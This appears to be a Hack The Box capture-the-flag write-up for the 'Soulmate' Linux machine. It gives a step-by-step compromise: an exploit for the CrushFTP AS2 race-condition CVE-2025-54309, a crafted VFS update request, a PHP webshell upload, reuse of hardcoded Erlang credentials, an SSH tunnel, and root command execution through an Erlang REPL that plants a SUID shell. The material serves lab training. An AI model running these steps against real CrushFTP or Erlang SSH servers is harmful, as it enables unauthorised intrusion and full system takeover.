~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / soulmate.md

soulmate

Linux · Easy · released 2025-09-06 · retired 2026-02-14

Summary

Soulmate is an Easy Linux box pairing a PHP dating site with a CrushFTP admin interface on a subdomain. The chain has three published CVEs back-to-back: CVE-2025-54309 (CrushFTP AS2 race-condition admin account creation) creates a CrushFTP admin → as admin, mount the dating site’s webroot via VFS update → upload a PHP webshell → www-data shell → read /usr/local/lib/erlang_login/start.escript for the hardcoded ben:<BEN_PW> Erlang creds → SSH ben (port 22 SSH ForceCommands into a wrapper, port 2222 is a separate Erlang SSH daemon) → port-forward 2222 and connect as ben → land in a full Erlang REPL running as rootos:cmd("…") is the privesc.

The CVE-2025-31161 path (S3 Authorization header partial-auth) that some writeups reach for is now patched on this CrushFTP build (11.W.657-2025_03_08); any request with the AWS auth header now 500s the upstream. CVE-2025-54309 (AS2 race) still works.

The chain:

  1. CVE-2025-54309 (AS2 race) against ftp.soulmate.htb → create 0xdfadmin:0xdf0xdf admin via the whisperer1290 PoC. Try ~5000 request pairs; usually hits within the first 200.
  2. Login as 0xdfadmin. The user is created with no VFS items, so listing / is empty and command=upload path=/ 502s the upstream. Issue a setUserItem with data_action=update_vfs and a properly-nested vfs_items XML pointing file:///app/webProd//WEB/ (see “Foothold #2” below for the exact schema).
  3. PUT <?php system($_REQUEST['cmd']); ?> to /WEB/cmd.php via HTTP basic auth → file lands in /app/webProd/cmd.php. curl http://soulmate.htb/cmd.php?cmd=id returns uid=33(www-data).
  4. Read /usr/local/lib/erlang_login/start.escript{user_passwords, [{"ben", "<BEN_PW>"}]}.
  5. Port 22 SSH for ben drops into an erlang_login_wrapper that runs the Erlang login.escript then exec "$SHELL -l". The command-mode ssh ... id is silently overridden by the ForceCommand and the user’s command is dropped — only an interactive PTY (pexpect or expect) actually gets a shell. Read ~/user.txt from there.
  6. Open a local-port-forward -L 2222:127.0.0.1:2222, then ssh -p 2222 [email protected] (same password). Lands in (ssh_runner@soulmate)1> — the Erlang shell, not the OS shell. The Erlang VM was started by root.
  7. os:cmd("cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb")./tmp/rb -p is SUID-root → read /root/root.txt.

Recon

22/tcp   OpenSSH
80/tcp   nginx → soulmate.htb (PHP dating site)

Vhost enumeration adds ftp.soulmate.htb (CrushFTP, Java). There’s a separate Erlang-driven SSH listener on a non-22 port that’s only obvious after the user pivot.

Foothold #1 — CVE-2025-54309 AS2 race

The patched CrushFTP build on this box (11.W.657) 502s on any request carrying an AWS-style Authorization: AWS4-HMAC-SHA256 header — CVE-2025-31161 is dead. The live path is the AS2 race in CVE-2025-54309: a POST with AS2-TO: \crushadmin plus Content-Type: disposition-notification triggers CrushFTP’s AS2 handler to temporarily authenticate the session as crushadmin. A second request sharing the same CrushAuth cookie, sent fast enough, gets that session and can call command=setUserItem.

The whisperer1290 PoC retries up to 5000 pairs and usually wins within the first ~200:

git clone https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit
python3 exploit.py -u 0xdfadmin -p 0xdf0xdf --verify http://ftp.soulmate.htb
# [+] SUCCESS! User '0xdfadmin' created

(The “verification failed” line at the end of the PoC’s output is misleading — it’s a c2f-cookie timing issue inside the PoC’s verifier, not a sign that user creation failed. Try logging in manually to confirm.)

Foothold #2 — VFS update + PHP webshell upload

0xdfadmin is created with no VFS, so listing / returns empty and the simple command=upload path=/ returns 502. The fix is data_action=update_vfs with a fully-nested VFS schema (the simplified <item> form silently NPEs on the backend):

VFS = (
  '<?xml version="1.0" encoding="UTF-8"?>'
  '<vfs_items type="vector">'
  '<vfs_items_subitem type="properties">'
  '<name>WEB</name><path>/</path>'
  '<vfs_item type="vector">'
  '<vfs_item_subitem type="properties">'
  '<type>DIR</type><url>file:///app/webProd/</url>'
  '</vfs_item_subitem></vfs_item>'
  '</vfs_items_subitem></vfs_items>'
)
PERMS = (
  '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties">'
  '<item name="/">(read)(view)(resume)</item>'
  '<item name="/WEB/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)</item>'
  '</VFS>'
)
session.post('http://ftp.soulmate.htb/WebInterface/function/', data={
  'command':'setUserItem', 'data_action':'update_vfs', 'xmlItem':'user',
  'serverGroup':'MainUsers', 'username':'0xdfadmin',
  'vfs_items':VFS, 'permissions':PERMS, 'c2f':c2f,
})

Now getXMLListing path=/WEB/ returns the dating site’s files (dashboard.php, etc.). Upload via HTTP PUT with basic auth — much simpler than command=upload:

echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/cmd.php
curl -u 0xdfadmin:0xdf0xdf -T /tmp/cmd.php \
     http://ftp.soulmate.htb/WEB/cmd.php   # → 201 Created
curl 'http://soulmate.htb/cmd.php?cmd=id'
# uid=33(www-data) gid=33(www-data)

(CrushFTP cleans up uploaded files on its session timer; if the webshell 404s after a few minutes, just PUT it again.)

User pivot — hardcoded creds + ForceCommand SSH

$ cat /usr/local/lib/erlang_login/start.escript
... ssh:daemon(2222, [{ip, {127,0,0,1}}, ...,
       {user_passwords, [{"ben", "<BEN_PW>"}]}, ...]) ...

The Erlang SSH listener is bound to 127.0.0.1:2222. The system OpenSSH (port 22) accepts ben’s password too, but /etc/ssh/sshd_config has:

Match User ben
    ForceCommand /usr/local/sbin/erlang_login_wrapper

The wrapper runs login.escript then exec "$SHELL -l". The ForceCommand replaces whatever ssh ben@host <cmd> was given, so command-mode SSH silently drops the user’s command and exits. Use a PTYssh -tt with expect/pexpect, not ssh ben@host id:

import pexpect
p = pexpect.spawn('sshpass -p <BEN_PW> ssh -tt ... ben@<TARGET>',
                  encoding='utf-8', timeout=20)
p.expect(r'\$ ')
p.sendline('cat ~/user.txt')
p.expect(r'\$ ')
print(p.before)

That gets ~/user.txt.

Privesc — Erlang REPL as root via SSH tunnel

The Erlang ssh:daemon listener on 127.0.0.1:2222 was started by root, and Erlang’s SSH module defaults to a full REPL unless {shell, ...} restricts it. Tunnel it through ben’s SSH:

sshpass -p <BEN_PW> ssh -fN -L 2222:127.0.0.1:2222 ben@<TARGET>
ssh -p 2222 [email protected]   # password = <BEN_PW>
# (ssh_runner@soulmate)1>

The prompt is (ssh_runner@soulmate)1> — the Erlang shell, not a bash. os:cmd/1 executes shell commands as the Erlang VM’s UID (root):

(ssh_runner@soulmate)1> os:cmd("cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb").
(ssh_runner@soulmate)2> halt().

Then back through the webshell:

curl 'http://soulmate.htb/cmd.php?cmd=/tmp/rb%20-p%20-c%20%22cat%20/root/root.txt%22'

bash -p preserves the SUID effective UID; without -p it drops back to www-data and the cat fails on root-only /root/root.txt.

Why each step worked

Counterfactuals

References

← all htb machines hackthebox.com ↗